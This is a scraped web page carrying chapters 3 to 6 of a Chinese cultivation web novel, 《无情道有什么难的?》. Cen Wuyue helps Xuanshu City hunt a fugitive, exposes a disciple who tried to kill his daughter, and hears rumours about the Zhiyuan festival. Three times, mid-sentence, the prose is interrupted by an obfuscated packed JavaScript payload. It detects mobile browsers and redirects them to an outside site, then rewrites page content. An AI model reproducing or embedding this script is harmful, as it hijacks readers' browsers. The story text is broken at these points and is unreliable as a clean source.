《无情道有什么难的?》 3. 第 3 章 既然有了“活口”,接下来自然有人负责让他活下去、撬开他的嘴巴。 桑青检查过周围,又特地向巡逻弟子们询问一遍当时的情况。 “我发现他时,他已经是气若游丝。”最先入巷的巡逻弟子非常肯定地说,“再来迟一两刻钟恐怕就来不及了,好在这位道友发现得及时。” 他朝岑无月颔首示意。 桑青的目光也落到岑无月身上:“确实很巧。” 刚刚往嘴里塞进一大口泡虾的岑无月眨眨眼睛,昂首挺胸,自豪地朝他们点了下头:没错,我运气真的很好。 桑青打发走巡逻弟子,又对岑无月道:“你动作很快。若他能吐出另一名同伙的位置,你便可以在止渊节开城时离开。” 岑无月已经是第二次听见这个词了,好奇道:“纸鸢节是放风筝的吗?不是本地人能不能参加?我能不能报名?有什么奖品?” “止情入渊,”桑青只是面色冷淡地打断岑无月的美好幻想,“城主会将契偃投入业渊中,借此镇压业障恶念。” 岑无月只觉得听不懂的词越来越多了。 下山前师父没教过这些啊! 桑青只消看一眼岑无月,似乎就明白了她的茫然,再度开口道:“业渊是被污染后的灵脉,不论凡人还是修士,深入其中都会受害。” 岑无月懂了一点,但又没有全懂:“但契偃对偃修来说不是非常重要吗?只用来干这个会不会太可惜了?” 那简直无异于让一个守财奴散尽家财、让一个痴情种杀死爱侣……咦,说不定这就是某位绝望的无情道修想出来的斩情路子? 桑青不为所动:“普通偃甲最多只能撑上三年,若是契偃,便能镇压至少百年。城主高义。” “也不知道城主的灵契偃长什么样。”岑无月天马行空地设想了一下,“除了人形偃甲之外你们也会做别的形状对吧?蜘蛛?鸡腿?大蘑菇?” 桑青看向岑无月手中的烤鸡腿,随即冷冷道:“在逼出口供前,你还可以继续在城内寻找另一人的踪迹。越早找到,你便越快能离开。” “是越快能吃上桂花鱼条。”岑无月强调道。 桑青没再理岑无月,径直回城了。 岑无月又一路慢悠悠地回到了客栈里。 里面的重伤者看起来状况好了不少,至少肚子上的洞似乎变小了些。 岑无月好心地向伤者分享了一份胡椒云片糕,并收到了对方的拒绝。 她也不介意,随意找个地方坐下,熟稔地和对方搭话:“你叫什么名字?你应该也有名字的吧?” “我的名字又不是什么秘密,你出门不知道打听?”没好气的回答。 要真打听那可真是太引人怀疑了。 岑无月决定继续叫他“飞梭的主人”。 “你刚才给他吃了什么药?”飞梭的主人皱着眉,身体稍稍前倾,“即使只是能造成尸体还活着的假象,我也从来没有听过这种药。” “不知道啊,我师父给我的。”看他实在一幅很想知道的样子,岑无月干脆掏了一颗抛给他。 飞梭的主人诧异地接住,狐疑地看岑无月好几眼,才举到鼻下轻嗅,而后眉头皱得更紧了:“……怎么一股土味?” 岑无月摇头摇得毫无心理负担:“不知道啊,我师父也没说是什么材料。” 总之,有锅全往师父身上推就是了,反正这世上也没有能找到师门秘境的外人。 飞梭的主人看了又看,最终什么也没研究出来,于是小心地将药丸收起,轻出一口气,边思忖边问:“这药能生效多久?” 岑无月不太确定地问他:“十天半个月?” “你自己的药丸,还问起我来了?”对方闻言翻了个白眼,“能拖一个月自是最好,若是他半路死透就得找别的办法了。” 岑无月道:“那就一个月吧。” “……你这药到底管不管用的?” —— 第二天,岑无月照例在城里四处乱逛,倒是在不少犄角旮旯的地方找到了意外的隐藏小店。 “现任城主可是个大好人!”老板眉开眼笑地给岑无月讲述,“她接任城主之位后啊,咱们的日子比从前好多了——税也减了,城里也安全了。从前可不敢晚上还开着店门,更别说出城了!所以啊,这仙人里虽有些败类魔道,但像咱们玄枢城里的仙人,那个个都是心善的!” 岑无月边认真听讲边举起手:“老板再来一碗!” “哎,好嘞!”老板手脚麻溜地忙活起来,嘴上也没停,“仙人您既然是从外面来的,应该知道吧?咱们凡人啊,没点庇护可不敢随意在外面行走,万一碰见那些个……咱哪跑得掉啊!您说是吧?” “这世上人人都可以修道。”冷不丁的,一旁有人插进来这么一句话。 老板吓了一跳,赶紧转向说话的顾客,急得摆手跺脚示意噤声:“客人,可不敢胡说!仙凡有别啊!” 岑无月也跟着看了。 那是个二十左右的姑娘。 之所以能如此确定地说出年龄,是因为岑无月可以确认对方并不是修士。 但这姑娘腰间挂着一柄剑。 剑看起来已经用了很多年,旧,却养护得很好,隐隐透出锐意。 她长相姣好,但脸上有一条陈年伤疤,在脸颊接近下颌处,平添几分冷峻。 见老板急得出了汗,持剑姑娘沉默着放下了碗,又取了铜板置于碗边。 接着,她将视线投向岑无月:“这位修士,你觉得呢?” 语气直白锋锐,像是她的那柄剑一样。 “当然可以了。”岑无月答得笃定,“我师父、我二师姐,修道前都是所谓的‘凡人’。” 岑无月这么一答,持剑姑娘反而愣了一下,才抿抿嘴唇道:“多谢你能这么说。” 她向岑无月微微低头一礼,便起身离开。 岑无月倒是觉得很有意思,三两口把碗里东西吃完,来不及咀嚼就快步追了上去:“唔唔唔唔唔唔?” 持剑姑娘见她两颊都高高鼓起,无语道:“我可以等,你嚼完再说话,别噎着。” 既然对方态度这么好,岑无月便笑眯眯跟在她身边,并肩走了好一段距离才咽完,再重新问了一遍刚才的问题:“你要去城主府?” 对方不答反而,态度警惕:“你怎么知道?” “你显然不是修士,但随身携带的剑却留有灵气,应该是一名同你关系匪浅的修士留给你的。”岑无月垂眼扫过她突然握紧剑柄的发白指节,“你对我的态度不错,但路过玄枢城弟子时却总是面露不快,说明你和他们有私下纠纷。入城腰牌显示你是十三天前来的,这十三天来毫无进展?” 当然最重要的是,昨天岑无月在城主府附近已经见过她了。 那会儿,她正在和几个玄枢城弟子争执着什么。 “你说的都对。”持剑姑娘哑然片刻,似乎是无意识地用指腹摩挲着剑柄,“我要去找一个人。” “但是进不去?” “……是。” 再怎么走亲民路线,城主府也终究不是谁都可以进的地方。 那不然岑无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岑无月听到这儿才好奇地插话:“不用禀报城主吗?” “这等小事,不必惊扰城主,”桑青轻描淡写,“任何管事都知道如何处理。” 她伸手一招,空中盘旋的鸟型偃甲便俯冲落于她掌心,很快携她的传令离开。 岑无月羡慕地伸手试了好几次,被那些栩栩如生的小型偃甲全然无视。 直到桑青和方绝简已经准备离开,岑无月还扒在廊边,伸长手臂,不愿离开。 方绝简看了又看,忍不住问:“你多大了?” 岑无月没算过,这个问题实际算起来又比较复杂,于是她随口道:“二三百吧。” 方绝简噎了下,不说话了。 倒是桑青再度伸出手去,一只圆滚滚的山雀偃甲立刻听令飞向她的手中。 岑无月的手就差那么半尺远,还放着刚才没吃完的云片糕,却看也没被看上一眼。 岑无月失望地叹了一口气,正要收手,桑青已经翻转掌心捉住那只山雀递过来。 “偃甲无需进食。”桑青将黑眼珠的山雀放到岑无月手里,语调平和,“它不听唤,只不过因为你非本门弟子。” 岑无月捧着乖乖停留的小山雀,眨眨眼,毫不吝啬地用超大号的灿烂笑容向桑青道谢:“师姐不想看我失望,师姐好~” 4. 第 4 章 方衡很快被几个玄枢城弟子领至明室。 修道之人的真实年龄便不能简单地从表面样貌来判断了。 方衡看起来也不过二十几岁的样子,若是不说,谁能想到他女儿都二十一岁了。 方衡的表情有些茫然,大致扫过室内三人后,他选择先向桑青行礼:“管事师姐。” 他看方绝简时和看岑无月时的眼神是同等的陌生。 桑青将原本捏在指间以神识阅读的玉简放下:“方衡,你修的是何道?” 方衡更疑惑了,但他还是冷静地答道:“自是无情道。” “玄枢城弟子门训第三句是什么?”桑青又问。 “‘血亲皆泡影,偃甲始通神,斩情如刈草,空耗百年身,同门不同道,永锢千机坟。’”方衡不仅答了,甚至答完还能泰然地添一句,“弟子入玄枢城十九年,从不敢忘。” “是吗?”桑青道,“那为何有你的血亲不远万里到玄枢城来寻一个公道呢?” 方衡抬起头,先看岑无月,又看方绝简,露出恰到好处的不解与委屈。 而方绝简此时正站在一个可谓是绝妙的位置上——她朝着方衡的那半边正好是没有伤疤、因为没有佩剑的半边,就连身后多出的一截剑鞘也正好被身旁的岑无月给挡住了。 于是在方绝简开口之前,岑无月将把玩了一路的山雀偃甲往自己头顶一放,先声夺人道:“怎么,方衡,连自己亲生女儿的脸都认不出来吗?” 方衡一愣,本来不太确定的目光定在岑无月身上,细细将她打量一遍,摇头:“道友不要说笑了,我不曾有妻子,更不可能有你这样大的女儿。” “你我各执一词,也没必要争吵,证明谁在说谎的方法很简单,我这里有一根针——你应该知道这是什么吧?”岑无月摊开手掌,让方衡看到自己手心的细针,“若你真想自证清白,就扎上再将刚才的话再说一遍。” 看到那根眼熟的长针,方衡几乎是下意识地抬头看了一眼桑青。 桑青只是用双目审视着他,并不说话。 “为何不是你用?”方衡回头质问。 岑无月理直气壮地指着自己:“我当然是已经用过了!” “好,好,好。”方衡似乎是气急,一连说了三个“好”,随后苦笑一声,摇着头朝岑无月走去,“这所谓‘清白’,看来我是不证不行了——不劳管事师姐动手,我自己来!” 他像是受到了极大的羞辱,脸色铁青地停在岑无月面前,深吸一口气,才伸手去取她掌心的针。 ——变故就发生在这短短的交互瞬间。 方衡的手还没碰到针,就在半路稍稍变换手势,指尖一挑引动银针浮空,随后反手一弹指,银针便如同一道光疾迅疾射向岑无月眉心识海,端的是一记毫无保留的杀招。 他出手前,谁也没想到他竟然隐藏了实力。 这样近的距离,这样大的力道,他根本没打算让“自己的女儿”活下来。 金针射出的同时,方衡本人则是借着细针的力倒飞退去,虽力道用老略有颓势,但也是一闪便已到了门边。 整个过程发生之急促,岑无月甚至都没来得及眨一次眼。 桑青和方绝简几乎也是同时动了。 前者探出手,两指隔空捏住细针,将其悬止于岑无月额前。 而后者遥遥出了一剑。 只有一剑。 却是如星流霆击的一剑。 本已只差一步就能离开明室的方衡被这一剑击中,如同一件从高空坠落的行囊般落地,再没了先前暴起急退的飘逸,重重砸在门边,撞得门板发出一声巨响。 他竟已被一剑切断双腿,硬生生当场疼晕了过去。 方绝简出的这一剑甚至将桑青的注意力都吸引了过去。 她将针扔到一旁,多打量一眼方绝简:“你并非修士。” 没有灵力的人,却使出了那样惊艳的一招。 方绝简似乎将全部心力都用到了刚才,此时面无血色,气息剧烈起伏。 她缓缓收剑归鞘,调整了几息后才微微喘息着道:“我出生第二日,他便动手杀我母亲与我,幸亏我母亲持有秘法才侥幸瞒过。他走后,母亲想方设法将我救回,但性命可保经脉难补,我始终无法同普通修士一般修炼。但我母亲说,如果一个人一生只专心做一件事,无论如何也不可能太差。于是我这十几年来,除去基本功外,只练这一剑。” 桑青道:“这一剑已足够慰藉你母亲。” 此时的岑无月已经把掉到地上的银针又捡了起来,捏在指间边玩边道:“难怪他开始那么强硬,原来真以为自己不会被拆穿。” 方绝简看见她手里的针,回想起刚刚的事情,立刻再度行礼:“还要多谢二位的计谋,才让他自乱了阵脚。” 她并不确切知道这针的用处是什么,但也并不多问,只是大大方方道谢。 而岑无月笑吟吟起身,慷慨地把金针放到方绝简手里,道:“好看吗?送你了。” 方绝简有些纳闷:“送我?这不应该是桑管事给你的东西吗?” 她眼力绝佳,自然没有错过方衡见到金针后往桑青看去的动作。 “不是啊,这是我刚刚来的路上削的。”岑无月乐道,“怎么样,像不像,你和方衡一样都被骗了吧?” 她说着,从储物戒中抽出一根还热腾腾的肉串,一口咬走顶上的肉块,掰断露出的一小截铁签,操纵灵力这般那般一通打磨,眨眼间便磨出了一根闪闪发光的细针。 方绝简诧异又十分真情实意地夸奖:“你……你竟然说谎说得那样轻松,真厉害。” “我从来不说谎。”岑无月笑眯眯地说,“我只是对他说‘你应该知道这是什么吧?’而已,是他自己补完了我没说的部分。” 这刚磨出来的第二根针,岑无月也顺手送给了方绝简。 方绝简低头看看自己手里的细针,好不容易才忍住低头去闻一下有没有肉味的冲动。 而岑无月已经兴致勃勃跑去看被拦腰切断、散落一地的方衡了。 这一剑也不知方绝简是故意还是不巧,总之切的位置相当微妙。 乍一看是变成两截,又似乎可以说是变成三块……也或者是四块? 方衡最后显然是打算逃命的。违反门规的惩罚就那么可怕吗? “师姐,‘永锢千机坟’是什么惩罚?”岑无月转头问知情人。 桑青走近,取下岑无月头顶的山雀偃甲——小鸟为了保持平衡,爪子都将她的头发抓乱了— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238649|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —她用带着茧的细长手指轻轻一拨,便从一处几乎天衣无缝的地方打开了山雀胸甲。 岑无月一瞬瞪圆了眼睛。 好在山雀似乎没有痛觉,仍旧淡定地停在桑青手里任她操作。 “——凡我玄枢城弟子,入门时都要学习偃甲制作,便少不了成千上万次的拆解与组装。若只是普通的低级偃甲,便太容易损坏了。”桑青垂眼检查偃甲情况,调整几个零件便将其重新合上,“但若有神魂滋养,低级偃甲便也可以用上很久。” 她一说完,方绝简和岑无月的眼神就同时唰地落在那只圆滚滚的黑色山雀身上。 看起来虽然是无比可爱、毫无害处的,但谁知道内里究竟是放着谁的神魂? “自不是这一种。”桑青一抬手放飞了雀形偃甲,道,“而是最简陋、也无法移动的那种。将太精巧的偃甲交给初学者是一种暴殄天物。” 方绝简看着方衡破破烂烂的身体陷入沉思。 她想:这样似乎也足够惩罚他了…… 而另一头的岑无月又要问了:“万一有人没有违反门规却还是被关了进去呢?会不会有人知道这个办法后用来害人?” 方绝简抬头看着突然直击要害的岑无月再度沉思。 她又想:确实,这法子很有风险…… “世间一切可以使他人不利的方式都可能被利用,能做的不过是尽量约束这些方式的使用途径。”桑青说,“在玄枢城,只有城主知道如何执行这一惩罚。” 岑无月好奇道:“那如果城主犯错了呢?我听说前任城主就不是好人,对吧?” 当然不只是听飞梭的主人说的,和方绝简一起吃饭的店家也这么说。 这十几天来,岑无月早已听过许许多多同样的说法。 前任城主不仁,现任城主杀了他取而代之,是一位当之无愧的“仁君”。 岑无月还没见过现任城主,但已经听了满耳朵关于对方的溢美之词。 …… 最后桑青并没有回答那个问题,而是说自己还要回地牢审问俘虏,挥挥手将岑无月和方绝简一起赶走了。 岑无月倒也不介意对方似乎被冒犯了的态度,快快乐乐和方绝简开启新的聊天:“你母亲的要求你已经做完了,之后的时间准备干什么呢?” 方绝简没有犹豫,似乎早就想好了:“我会就近去断潮剑庐,潜心磨炼剑法,挑战那里的弟子。等我觉得时机合适时,再去下一个使剑的门派。” 见她这样坚定,岑无月也觉得高兴,一拍手便决定道:“既然如此,我请你吃顿践行饭吧!” 方绝简犹豫只一息,觉得在岑无月面前不用太计较,便直接问了:“我听说修士都尽可能不吃凡俗食物。” 岑无月正色道:“人被杀,就会死——不吃饭人会死掉的。” “修士不会的吧。” “会通过另一种方法死掉!” “那就说明死和不吃饭没关系不是吗?” “方绝简,你身上没什么钱了吧?” “确实。” “那你还想吃我请的这顿吗?” “你说得对,人被杀就会死。” “不对!是另一句。” “……没错,不吃饭人会死。” 5.第 5 章 接下来一段时间便过得按部就班。 飞梭的主人在房间里闷头疗伤。 桑青在地牢里拷问嘴硬死士。 而岑无月每天吃吃喝喝、去地牢门口观察情况、顺便到城主府里盯着李大厨望梅止渴。 姓李的厨子就是曾经城内第一好的桂花鱼条大师。 修士们倡导辟谷,不进食凡俗食物,但以修士在这世间的占比,也几乎不可能在不使用凡人的情况下运转偌大的一个门派,因此每个门派的生存都与凡人脱不了干系,这些为修士工作的凡人们在收入上、安全上总是要比其他凡人多一些保障。 比如李大厨会关闭自己的酒楼转而进城主府工作,也是图这一份安稳。 “——虽说,该死时还是得死的。”李大厨无奈道,“前几天城主出手的那次,虽说也不是故意,但有些屋子正好在那一招路上的……唉。” 一旁的另一个厨子道:“至少在梦里一眨眼就死了,一点儿也不疼,要我说还挺幸运。” “可不是,我逃难来玄枢城之前路过一个村庄,男女老少都被屠得干干净净,鸡都没活几只,那才叫惨啊!流了那么多血,我一脚踩在地上,泥巴都是又湿又软的,泥水混着血嗤嗤往外冒!至少那种发狂魔头入城四处杀人的事情,在咱们玄枢城里不会发生,这就够了。” 岑无月趴在灶台边上等饭等得望眼欲穿,只好听众人聊天转移注意力。 虽说下山还不到一月,但如同刚刚描述这样的场景,她也已经见过一两次。 尽管本质上都是人,也活动于同一处世间,但修士与凡人之间有一道深刻的天堑。 修士并不遵守凡人的律法。 凡人也几乎没有可能杀死修士。 因此像方绝简那样的人也不会想着报官,而是直接跋山涉水找上仇人所在的门派要个说法,这反倒是更为常见的逻辑。 修仙门派对自己的弟子有绝对的处置权。 当然,前提是该门派既不包庇自己的弟子,又会将方绝简这样的凡人所说之言当真。 桑青能代表玄枢城处置方衡、还准备让方绝简安全离开,说明这座城确实已经能算得上“桃花源”了。 “玄枢城是个好地方。”岑无月感叹道。 “那倒也没有那么好,比好不比坏罢了,”李大厨动作利落地起锅装盘,边说道,“——不然怎么每三年还得镇压一次那业渊呢?” 业渊,这岑无月倒是听师父说过。 “但业渊不是只有四条吗?”岑无月纳闷地问,“我师父是这么说的。” 众人面面相觑:“仙人,业渊如今足有三十三条,四条得是多少年前的事儿啊?” 岑无月眨眨眼睛:“我师父这人吧,有点两耳不闻窗外事。” 众人又都觉得很合理: “也是也是,仙人寿命那么长,跟咱们想法肯定不一样!” “哎,也不知能活那么久,还不老不死,是什么感觉?” 岑无月笑道:“和凡人可能也很像,有的想活有的不想活,而且无论想不想活,都会不一小心被更强的修士杀死。” 不说那现在半死不活的方衡,也不说那被城主一巴掌拍死的死士,只说岑无月自己——师父前后收了五个徒弟,如今就只有她一个还健在。 师兄师姐们一个接一个地下山历练,结果都是一出门就死得不明不白。 因此才有岑无月下山之前,周五耳提面命的“活着回来比什么都重要明白吗”。 但岑无月有比“活着”大得多的目标。 有人嘀咕:“仙人的日子再怎么不好过也比我们好过吧……” 接着立马被旁边的人一肘子恶狠狠捅了回去。 岑无月假装没看见他们踧踖的打量,又将目光放回李大厨的勺子上,甜甜地问:“我可以吃了吗?” “桂花鱼条,您请!”李大厨躬身扬声道,“爱吃您再来!” 切成长条形的鱼条浸泡在琥珀色的酱汁中,每一道棱角都炸出锋利的金边,酥脆内壳里是却是雪白多汁的鱼肉,磨碎的椒盐粒散落其间,叫人一看便食指大动。 岑无月抄起筷子,发出感叹声:“我师父肯定很喜欢。” 她夹起鱼条,放进嘴里,正要闭上牙关时,听见了桑青的声音。 “——人还没抓到,谁说你可以吃了?” 被人赃俱获的岑无月压根没有犹豫,啊呜一口整个吞掉,另一手抄起盘子啪一下塞进储物戒。 消灭完全部证据,岑无月才无辜地眨巴着眼睛转身对上桑青的视线。 总之什么也不说,只不停投射一个“下不为例”的眼神。 “随我去地牢。”桑青也没真的和岑无月计较一盘桂花鱼条,而是道,“不是说觉得自己会很擅长?” 岑无月笑眯眯地上前随她离开。 原本的仆从众人敢同岑无月说上几句,那是她看起来不像修士。 而桑青往这里一站,他们就下意识往角落里藏,大气都不敢吭一声,只这么安安静静地目送她们走了。 走了一段后,桑青率先开口问:“同凡人混在一处,这是你修无情道的办法?” 虽说天下公认唯一能飞升的只有无情道,但对于无情道,大家的理解也是千奇百怪。 有的坚信需得杀到自己六根清净、灵台清明,比如方衡,比如曲霄。 有的认为肉身不过是累赘,唯有割除血肉、同毫无情感的造物结合才能飞升,比如专精偃甲的玄枢城。 另外还有大道无情的,有情极致便是无情的,破而后立的……数不胜数。 总之,为了飞升,修士们什么都愿意尝试。 “师父说,我都还搞不明白什么是‘人’与‘情’,更别说修道大成。”岑无月指指自己,“所以让我下山多看多问,别老想着一步登天。” “对人来说,这是生来便能明白的东西。”桑青道。 “是吗?”岑无月仰头想了一下,豁达地道,“可能我生来没会,那也没有办法嘛,只好慢慢学了。” “……”桑青顿了顿,再开口时换了一个话题,“五长老也在地牢里,一会儿见了他,我说什么你就做什么,我不说话,你就不要开口。” “那个传闻里脾气最差的五长老吗?”岑无月用手指交叉在自己嘴上比了个封条,“明白。” …… 五长老的脾气真的很差。 岑无月刚走进血味冲天的拷问室里,就被他的神识狠狠扫了一遍。 神识查验这事儿,说起来只是一个举动,但可操作性其实很强。 譬如你可以做得温温柔柔的,动作轻一点,修为高一点,这样别人甚至都发觉不了。 或者你也可以同玄枢城五长老这样,做得粗暴、示威,像是往别人屁股上狠狠踢了一脚。 “这就是发现了死士的人?”五长老冷哼一声,“果然可疑。” 岑无月不由得抬手指了指自己的鼻子:我?一见面就这么攻击长得这么无辜又可爱的我? “岑无月,”桑青上前一步挡住岑无月的动作,道,“你去问话。” 岑无月一偏头,便看见了被牢牢钉住、破破烂烂的死士。 一句尸体即使能动起来,也绝不可能说出什么有效的台词。 他只会断断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243560|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续续、反反复复地吐出执念最深的几个字,那不像是说话,更像是一种惯性使然的呓语:“主……城主……余……” 岑无月热情地向他打招呼:“吃了吗?” “保护……少……” “今天天气不错哦。” “……城……” “对了,桂花鱼条要不要?刚出锅的,很香哦。” “护……主……” 岑无月回头对桑青抱怨道:“他不理我。” 桑青又朝五长老点点头:“叫您失望了。” 五长老眯眼盯着岑无月看半晌,他虽是五十多岁的外表,一双眼睛却像年轻人一样明亮,好似能看穿到人的心里去。 他的视线一刻没有离开岑无月,嘴上对桑青说:“她身上有些不对劲。” “我已审过她,她应该没有问题。”桑青道。 “你不也审了这死士?”五长老不屑地从鼻子里出一口气,而后上前两步,神识如同钳子牢牢抓住岑无月,来回审查她数遍,怀疑的目光最后落在她颈间。 五长老的神识范围缩减到只三五寸的大小时,岑无月察觉到自己颈间那无形的绳索骤然松开,化作一道微风,却不急着逃窜,而是先拂向死士的方向。 “想灭口?”五长老暴怒跃起,伸手阻止,“余铮,你果然还活着!” 前任城主幸存的儿子,名为余铮。 桑青也同时出手了,她微微一勾低垂的手指,金针透体而出,原本被金针钉在墙上的死士失去支撑,便向地面倾斜倒去,可倒的速度太慢,终究还是叫风快了一招。 那在岑无月脖子上盘了好几天的神识绳索一下勒住死士的脑袋中央,像是分西瓜似的从中切成两半。 一击得手后,微风也不再留下缠斗,而是果断穿墙而出,逃之夭夭。 暴跳如雷的五长老飞起一脚踢出个大洞,二话不说追了上去。 桑青却没追,她看着毫无声息倒地的开瓢死士,像是在思索着什么。 片刻后,她才转向岑无月问道:“这几天,余铮一直跟着你?死士的位置是他告诉你的?” 岑无月蹲在死士的尸体旁观察完伤口,心有余悸地捂着自己的脖子,闻言摇头:“死士是我自己发现的。那个人一直没有告诉我名字,只是用我的客栈房间疗伤,还用神念监视我,说我要是向玄枢城通风报信,就立刻杀了我。” 桑青点点头,回了一句“你该走了”,而后也从五长老打破的洞口里追了出去。 其余玄枢城弟子探头进来一看,十分冷静地开始处理烂摊子,显然浑身上下都是丰富的收拾烂摊子经验。 岑无月善良地给死士留了一根热腾腾香喷喷的桂花鱼条:劳烦你这一辈子比别人多死一次,这是辛苦费。 刚从正门离开地牢,岑无月便听见空中巨响,转头一看,正是客栈的方向。 两道身影打成一团,光华四溅,但没多久其中的一个便败下阵来,重重落地。 接着,空中传来五长老如同惊雷的呵声:“——前任城主孽子余铮及其随从皆已伏诛!犯我玄枢城者,来必杀之!” 他用了灵力,几乎整个玄枢城都能将他的话听得清清楚楚,甚至还不由自主地心生敬仰信服之情。 民众们大声欢呼起来。 岑无月端着桂花鱼条边吃边努力鼓掌,同时还不忘和旁边的城民搭话:“哎,这下是不是能开城了?” “那岂不是正正好吗?”城民眉飞色舞道,“止渊节还有十几天开始,动乱便被解决了,这正说明天佑咱们玄枢城啊!” “确实,”岑无月笑眯眯赞同道,“真是个好时候。” 6.第 6 章 岑无月回到客栈时,发现客栈没了一半。 神仙打架,凡人遭殃。 不过这会儿,无论是玄枢城的普通弟子还是凡人都躲得远远的。 ——五长老和桑青正立在余铮的尸体旁争论。 “——他死得这样彻底,该如何找到被盗契偃的下落?”桑青道。 只不过她的语气淡然,出口的话听来倒不像是一句质问了。 “出手一时气急,他又以死相拼,我没办法才杀了他。”五长老嫌弃地主动操纵灵力提起地上的尸体,“封城及时,他又重伤至此,一定来不及将城主的契偃带出城,它一定就藏在城内的角落——行了,我这就回去找城主复命。” 他说罢,一蹬地,整个人如同一支离弦之箭似的离开了。 地面因为这一脚的冲击力,留下一圈向外扩散的蛛网状裂缝。 “你来得倒快。”桑青这才转头对岑无月道。 “我有吃的还留在房里,”岑无月遗憾地看着只剩一角的客栈,“不过现在肯定也找不回来了,我去重新买一份吧——对了,刚才听见你们在说灵契偃的事情,这个我倒是听他提过,说没有偷到手。” “他这样说?”桑青脸上却也没有意外之情,一如既往地冷淡,“但余铮为人狡诈,他的话也不可信。” “要是我是一个坏蛋,抢了不属于自己的东西,那东西又很强,应该会想方设法让那东西尽快变成我自己的,”岑无月设身处地假想一番自己的反派故事线,“这样等苦主找上门来的时候,就可以卑鄙地用已经变成我的东西打败对方了!” 桑青静静看着她,眼神说不上是无奈还是嫌弃。 “——但这段时间他一直在疗伤,从来没见过那个偃甲诶。”岑无月推测道,“有没有可能灵契偃不是被他偷走的,而是在那天晚上被什么不是他——当然也肯定不是我!——的人刻意带走藏了起来?” “这不是你需要关心的事情。”桑青直接掐断这个话题,又道,“城内的客栈,你随意住——不过余铮已死,城门应该很快便会打开,你若要离开,这几日可以多留意。” 想吃的菜倒是已经都吃到了。 不过岑无月还有别的东西想看。 “但止渊节听起来也很有趣,”岑无月好奇地问,“我不是城内人的话可以去观看吗?” “可以。”桑青偏头示意灵脉的方向,“但应该并不会如你想象中那样有趣,这并不是庆典的日子。” —— “——止渊节啊,”李大厨连连摇头,“我看过几次,实话实说,还真挺吓人的。” “吓人?”岑无月更想知道了,连连催促,“快讲给我听听!” 李大厨投来异样的眼神:“您多大了?” “二三百吧?” “哦,您看着和感觉着都年纪挺小……那没事了。”李大厨清清喉咙,“这事情恐怖之处在于,城主所制造用来镇压那个什么,恶念?的偃甲啊,都做得特别精巧,精巧得简直像是……” 他越说声音越小,到后来甚至停下,左右张望一番,在桌上写了两个字:活人。 餐桌旁的气氛一瞬就变得诡异了起来。 李大厨不自觉地弓起身体,接着低声道:“这些用于镇压的偃甲,在被投入业渊之前都安安静静闭着眼睛,可投入业渊时便会开始挣扎尖叫,而那业渊里的黑气就跟无数只手一样,抓住它的身体四肢,拖向深处,咀嚼血肉……” “啊!”岑无月突然惊呼一声。 正沉浸在恐怖故事里的一众人几乎同时打了一个哆嗦,下意识怒视岑无月。 视线中心的岑无月眨眨眼睛,无辜道:“没什么,我上一口忘记蘸醋了——不过,原来偃甲有血肉?” 好不容易营造起来的阴森氛围已经被一口醋完全破坏了。 “……”李大厨被噎住一瞬,才梗着脖子道,“看着太像真人了,我这是一种意象,意象!您懂吧?” 岑无月马上点头捧场:“懂懂懂,然后呢?” “——城主做的偃甲可真是太像人了,我三年前碰巧占了个好位置,离得可近,可我踮着脚使劲儿瞪大眼睛看,也没找到什么缝儿零件的。”李大厨赞道,“咱们城主果然不愧是天下第一的偃甲道君啊!” “但长得和人一模一样的偃甲还是有点儿吓人吧?我看的时候总是犯嘀咕,感觉像是推了个活人下去献祭……” “你可真是想太多了,如果是咱们这样的凡人,塞进去一百个也镇压不了什么,不然怎么每次都得城主亲自造偃甲?” “哎,你们想没想过,那个偃甲到底长的是谁的模样?咱们见过的仙人也算多了,可真没见过那张面孔。” “你别说,长得怪好看的。” 说到这种喜闻乐见的八卦上,岑无月也被吸引了注意力:“有多好看?” “哎,八十个李厨子这么好看。” 岑无月试图在脑中想象八十个李大厨的拆分重组形象。 …… ………… ………………… 不好,八十个脑袋挤在一起,已经不太像人了。 待岑无月努力地将自己的思维从不可名状之地拔出来时,饭桌上的其他人早就变换了闲聊话题。 “不过我听仙人们说,这几日就能开城门,终于能买些新鲜东西来吃了!” “接下来应当又有不少别的仙门仙人慕名来观礼吧?” “这段日子可是打死我都不会出城主府,小心驶得万年船——谁知道会不会和之前那次那样,突然混进来一个发疯的魔头,弄得血流成河?” “你说的这都是几十年前的事儿了吧?” “我爹娘就是那次死的,灰飞烟灭,尸骨无存,哎……是得几十年了。” “不过不就是那次后,城主加强了阵法?” “阵法?”岑无月插嘴。 “哎呦,阵法那肯定是您比我们懂啊!” “师父没教过。”岑无月无辜道,“师父说,我要学的东西太多了,实在是两张嘴两双手一起也教不过来。” 在岑无月无尽期待的晶亮目光中,一桌凡人开始绞尽脑汁地拼凑自己那些并不重要的回忆。 “我记得好像是……别的仙人入城,就会……变弱?” “我想起来了,怎么说来着,十余二三?” “对对对!我听见外来的仙人抱怨过,说‘在玄枢城里总是这般虚弱,真是不舒服’。” 